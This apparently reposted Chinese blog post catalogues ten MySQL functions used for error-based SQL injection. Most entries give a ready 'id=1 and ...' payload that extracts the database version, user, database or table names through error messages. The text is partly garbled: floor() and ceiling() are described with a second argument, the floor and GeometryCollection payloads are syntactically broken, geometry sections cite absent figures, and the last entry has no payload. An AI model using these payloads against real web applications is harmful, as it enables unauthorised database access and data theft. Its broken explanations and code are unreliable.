mysql十大报错_MySQL十大报错函数
1.Floor()
round() 遵循四舍五入把原值轉(zhuǎn)化為指定小數(shù)位數(shù),如:round(1.45,0) = 1;round(1.55,0)=2
floor()向下舍入為指定小數(shù)位數(shù) 如:floor(1.45,0)= 1;floor(1.55,0) = 1
ceiling()向上舍入為指定小數(shù)位數(shù) 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2
floor(x),返回小于或等于x的最大整數(shù)。
x表示concat(database(),rand(0)*2),rand(0)以0為隨機(jī)種子產(chǎn)生0-1之間的隨機(jī)數(shù),*2產(chǎn)生0-2之間的隨機(jī)數(shù)。
報(bào)錯(cuò)原因:主鍵重復(fù),必需:count()、rand()、group by
payload:
id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.ExtractValue()
ExtractValue(xml_frag, xpath_expr)ExtractValue()接受兩個(gè)字符串參數(shù),一個(gè)XML標(biāo)記片段 xml_frag和一個(gè)XPath表達(dá)式 xpath_expr(也稱為 定位器); 它返回CDATA第一個(gè)文本節(jié)點(diǎn)的text(),該節(jié)點(diǎn)是XPath表達(dá)式匹配的元素的子元素。
第一個(gè)參數(shù)可以傳入目標(biāo)xml文檔,第二個(gè)參數(shù)是用Xpath路徑法表示的查找路徑
例如:SELECT ExtractValue(‘‘, ‘/a/b‘); 就是尋找前一段xml文檔內(nèi)容中的a節(jié)點(diǎn)下的b節(jié)點(diǎn),這里如果Xpath格式語法書寫錯(cuò)誤的話,就會(huì)報(bào)錯(cuò)。這里就是利用這個(gè)特性來獲得我們想要知道的內(nèi)容。
payload:
id=1 and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1)));
3.UpdateXml()
UPDATEXML (XML_document, XPath_string, new_value);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網(wǎng)上查找教程。
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
而我們的注入語句為:
id=1 and 1=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))
其中的concat()函數(shù)是將其連成一個(gè)字符串,因此不會(huì)符合XPATH_string的格式,從而出現(xiàn)格式錯(cuò)誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
4.Exp()
exp是以e為底的指數(shù)函數(shù),
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
但是,由于數(shù)字太大是會(huì)產(chǎn)生溢出。這個(gè)函數(shù)會(huì)在參數(shù)大于709時(shí)溢出,報(bào)錯(cuò)。
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
將0按位取反就會(huì)返回“18446744073709551615”,再加上函數(shù)成功執(zhí)行后返回0的緣故,我們將成功執(zhí)行的函數(shù)取反就會(huì)得到最大的無符號(hào)BIGINT值。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
我們通過子查詢與按位求反,造成一個(gè)DOUBLE overflow error,并借由此注出數(shù)據(jù)。
mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'
在腳本語言中,就會(huì)將錯(cuò)誤中的一些表達(dá)式轉(zhuǎn)化成相應(yīng)的字符串,即像這樣:
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'
從而實(shí)現(xiàn)了報(bào)錯(cuò)注入。
payload:
id=1 and exp(~(select * from(select user())a));
5.GeometryCollection()
GeometryCollection的理解:以點(diǎn)的方式存放 ,如果單個(gè)點(diǎn)直接用 坐標(biāo)(x,y)表示,如果是線的話是多個(gè)點(diǎn)使用 LINESTRING()來保存這條線上的點(diǎn)。
payload:
id=1 and GeometryCollection(()select *from(select user())a)b);
6.Polygon()
Polygon該函數(shù)畫一個(gè)由直線相聞的兩個(gè)以上頂點(diǎn)組成的多邊形,用當(dāng)前畫筆畫多邊形輪廓,用當(dāng)前畫刷和多邊形填充模式填充多邊形。
如圖中所示:
圖 1 是由外部環(huán)定義其邊界的 Polygon 實(shí)例。
圖 2 是由外部環(huán)和兩個(gè)內(nèi)部環(huán)定義其邊界的 Polygon 實(shí)例。 內(nèi)部環(huán)內(nèi)的面積是 Polygon 實(shí)例的外部環(huán)的一部分。
圖 3 是一個(gè)有效的 Polygon 實(shí)例,因?yàn)槠鋬?nèi)部環(huán)在單個(gè)切點(diǎn)處相交。
payload:
id =1 and polygon((select * from(select * from(select user())a)b));
此注入點(diǎn)可以理解為limit后的注入點(diǎn)
7.MultiPoint
MultiPoint 是零個(gè)點(diǎn)或更多個(gè)點(diǎn)的集合。 MultiPoint 實(shí)例的邊界為空。
payload:
id = 1 and multipoint((select * from(select * from(select user())a)b));
8.MultiLineString()
MultiLineString 是零個(gè)或多個(gè) geometry 或 geographyLineString 實(shí)例的集合。
如圖中所示:
圖 1 顯示的是一個(gè)簡單的 MultiLineString 實(shí)例,其邊界是其兩個(gè) LineString 元素的四個(gè)端點(diǎn)。
圖 2 顯示的是一個(gè)簡單的 MultiLineString 實(shí)例,因?yàn)橹挥?LineString 元素的端點(diǎn)相交。 邊界是兩個(gè)不重疊的端點(diǎn)。
圖 3 顯示的是一個(gè)不簡單的 MultiLineString 實(shí)例,因?yàn)樗钠渲幸粋€(gè) LineString 元素的內(nèi)部出現(xiàn)了相交。 此 MultiLineString實(shí)例的邊界是四個(gè)端點(diǎn)。
圖 4 顯示的是一個(gè)不簡單、非閉合的 MultiLineString 實(shí)例。
圖 5 顯示的是一個(gè)簡單、非閉合的 MultiLineString。 它沒有閉合是因?yàn)樗?LineStrings 元素沒有閉合。 而其簡單的原因在于,其任何 LineStrings 實(shí)例的內(nèi)部都沒有出現(xiàn)相交。
圖 6 顯示的是一個(gè)簡單、閉合的 MultiLineString 實(shí)例。 它為閉合的是因?yàn)樗乃性囟际情]合的。 而其簡單的原因在于,其所有元素都沒有出現(xiàn)內(nèi)部相交現(xiàn)象。
payload:
id = 1 and multilinestring((select * from(select * from(select user())a)b));
9.LineString
LineString 是一個(gè)一維對(duì)象,表示一系列點(diǎn)和連接這些點(diǎn)的線段。
如圖中所示:
圖 1 顯示的是一個(gè)簡單、非閉合的 LineString 實(shí)例。
圖 2 顯示的是一個(gè)不簡單、非閉合的 LineString 實(shí)例。
圖 3 顯示的是一個(gè)閉合、簡單的 LineString 實(shí)例,因此是一個(gè)環(huán)。
圖 4 顯示的是一個(gè)閉合、不簡單的 LineString 實(shí)例,因此不是一個(gè)環(huán)。
payload:
id = 1 and LINESTRING((select * from(select * from(select user())a)b));
10.MultiPolygon()
MultiPolygon實(shí)例是零個(gè)或更多個(gè)Polygon實(shí)例的集合。
如圖中所示:
圖 1 是一個(gè)包含兩個(gè) Polygon 元素的 MultiPolygon 實(shí)例。 邊界由兩個(gè)外環(huán)和三個(gè)內(nèi)環(huán)界定。
圖 2 是一個(gè)包含兩個(gè) MultiPolygon 元素的 Polygon 實(shí)例。 邊界由兩個(gè)外環(huán)和三個(gè)內(nèi)環(huán)界定。 這兩個(gè) Polygon 元素在切點(diǎn)處相交。
總結(jié)
以上是生活随笔為你收集整理的mysql十大报错_MySQL十大报错函数的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: c 批量导入mysql数据库_C#.N
- 下一篇: python 中cookie_Pytho